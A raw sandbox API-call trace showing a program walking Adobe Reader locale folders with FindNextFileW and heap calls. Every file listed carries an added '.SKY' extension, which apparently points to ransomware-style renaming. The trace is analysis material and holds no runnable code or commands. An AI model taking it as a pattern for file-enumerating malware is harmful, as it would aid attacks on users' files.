[0082.562] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SKY", cAlternateFileName="")) returned 1 [0082.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cc48 [0082.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f060 [0082.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SKY", cAlternateFileName="")) returned 1 [0082.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cc68 [0082.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f168 [0082.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SKY", cAlternateFileName="")) returned 1 [0082.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cc88 [0082.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f270 [0082.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.SKY", cAlternateFileName="")) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cca8 [0082.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f378 [0082.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SKY", cAlternateFileName="")) returned 1 [0082.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ccc8 [0082.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f480 [0082.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SKY", cAlternateFileName="")) returned 1 [0082.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cce8 [0082.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f588 [0082.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.571] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SKY", cAlternateFileName="")) returned 1 [0082.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cd08 [0082.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f690 [0082.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SKY", cAlternateFileName="")) returned 1 [0082.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cd28 [0082.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f798 [0082.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.575] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SKY", cAlternateFileName="")) returned 1 [0082.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cd48 [0082.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f8a0 [0082.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7080) returned 0x12a1f78 [0082.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129af30) returned 1 [0082.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SKY", cAlternateFileName="")) returned 1 [0082.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cd68 [0082.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128f9a8 [0082.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.579] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cd88 [0082.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fab0 [0082.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SKY", cAlternateFileName="")) returned 1 [0082.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cda8 [0082.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fbb8 [0082.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.582] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.SKY", cAlternateFileName="")) returned 1 [0082.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cdc8 [0082.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fcc0 [0082.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.583] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.SKY", cAlternateFileName="")) returned 0 [0082.583] GetLastError () returned 0x12 [0082.583] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.583] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, 